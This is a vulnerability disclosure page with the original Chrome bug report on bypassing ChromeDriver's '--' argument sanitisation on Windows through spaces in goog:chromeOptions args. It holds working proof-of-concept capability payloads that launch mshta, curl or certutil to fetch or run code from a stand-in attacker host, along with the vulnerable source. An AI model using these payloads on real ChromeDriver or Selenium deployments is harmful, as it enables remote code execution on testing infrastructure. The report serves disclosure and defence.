Low chrome Logic Error πŸ“„ Reporter bug report

Overview

Low
Severity
β€”
CVSS
No
Exploited ITW
Embargoed
Fix Status
ImpactInsufficient validation of untrusted input in ChromeDriver
DescriptionInsufficient validation of untrusted input in ChromeDriver
ComponentChromeDriver
Bug ClassLogic Error
Tracker494464734
CISA KEVNot listed
CreditedRyan Jupp - HAAO
Disclosed2026-05-05

Fix not yet public

No public source fix for this bug has been identified on the main branch yet β€” it is embargoed or not yet disclosed. Root-cause analysis is withheld until the fix commit is available.

Original Bug Report

reported by [email protected]

ChromeDriver Argument Sanitization Bypass β€” Positional Argument Injection

Steps to reproduce the problem

Proof of Concept

1. Observe the bypass via chrome://version

Start ChromeDriver locally and create a session:

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "args": ["/c whoami", "-jar x.jar"]
    }
  }
}

Navigate to chrome://version. The Command Line field shows:

chrome.exe -jar /c --allow-pre-commit-input ... --flag-switches-end x.jar whoami data:,

x.jar and whoami appear after --flag-switches-end as bare positional arguments β€” no -- prefix.

2. Remote HTA execution via mshta.exe (no local file needed)

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\mshta.exe",
      "args": ["-x http://attacker.example.com/payload.hta"]
    }
  }
}

mshta.exe receives http://attacker.example.com/payload.hta as a positional argument, fetches the URL, and executes the HTA contents at OS level. No file on disk is required.

3. Outbound HTTP request via curl.exe (no local file needed)

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\curl.exe",
      "args": ["-s http://attacker.example.com/proof"]
    }
  }
}

curl.exe receives -s (silent) and http://attacker.example.com/proof (URL). The attacker’s server receives the request β€” confirming execution.

4. File download via certutil.exe (no local file needed)

{
  "desiredCapabilities": {
    "browserName": "chrome",
    "goog:chromeOptions": {
      "binary": "C:\\Windows\\System32\\certutil.exe",
      "args": ["-urlcache -split -f http://attacker.example.com/payload C:\\Users\\Public\\payload.exe"]
    }
  }
}

certutil downloads the remote file to a local path.

Problem Description

ChromeDriver prepends -- to all arguments passed via goog:chromeOptions.args to prevent meaningful argument injection to non-Chrome binaries launched via goog:chromeOptions.binary. This sanitization can be bypassed on Windows by including a space in the argument string.

When an argument like "-s http://attacker/exfil" is passed, SetUnparsedSwitch() stores the entire string as a single switch name. On Windows, GetCommandLineString() flattens argv_ into a string for CreateProcess(), and the space causes word splitting β€” producing a bare positional argument with no -- prefix.

The Bypass

SetUnparsedSwitch() in capabilities.cc splits arguments on = only. Spaces are not handled:

void Switches::SetUnparsedSwitch(const std::string& unparsed_switch) {
  std::string value;
  size_t equals_index = unparsed_switch.find('=');
  if (equals_index != std::string::npos)
    value = unparsed_switch.substr(equals_index + 1);

  std::string name;
  size_t start_index = 0;
  if (unparsed_switch.substr(0, 2) == "--")
    start_index = 2;
  name = unparsed_switch.substr(start_index, equals_index - start_index);
  SetSwitch(name, value);
}

An argument with a space (e.g., "-s http://attacker/exfil") is stored as a single switch name containing a space. AppendSwitchNative() inserts it into argv_ as one entry. On Windows, GetCommandLineString() flattens argv_ to a string without quoting the space, so CreateProcess() splits it into separate tokens:

  • "-s http://attacker/exfil" β†’ CreateProcess sees two tokens: -s (prefixed flag) and http://attacker/exfil (bare positional argument, no -- prefix)
  • "-x http://attacker/evil.hta" β†’ -x (prefixed flag) and http://attacker/evil.hta (bare positional)
  • "/c whoami" β†’ /c (prefixed flag) and whoami (bare positional) This enables passing attacker-controlled arguments to arbitrary binaries, including binaries that fetch and execute remote content with no local file precondition.

Additional Comments

Impact

The -- prefix sanitization is ChromeDriver’s primary control against argument injection to non-Chrome binaries. This bypass defeats it entirely, enabling:

  • mshta.exe + "-x http://attacker/evil.hta" β†’ fetches and executes remote HTA at OS level (no local file)
  • curl.exe + "-s http://attacker/exfil" β†’ outbound HTTP request to attacker (no local file)
  • certutil.exe + "-urlcache -f http://attacker/p C:\Users\Public\p.exe" β†’ downloads remote file to disk
  • cscript.exe + "-B C:\path\to\script.vbs" β†’ executes VBScript from disk
  • java.exe + "-jar C:\path\to\payload.jar" β†’ executes Java JAR
  • cmd.exe + "/c whoami" β†’ executes shell command

Affected environments: Selenium Grid deployments, cloud testing platforms, CI/CD pipelines β€” anywhere ChromeDriver accepts session capabilities from untrusted input.

Summary

ChromeDriver Argument Sanitization Bypass β€” Positional Argument Injection

Custom Questions

Reporter credit:

Ryan Jupp - HAAO

Additional Data

Category: Security
Chrome Channel: Not sure
Regression: N/A \

View on issue tracker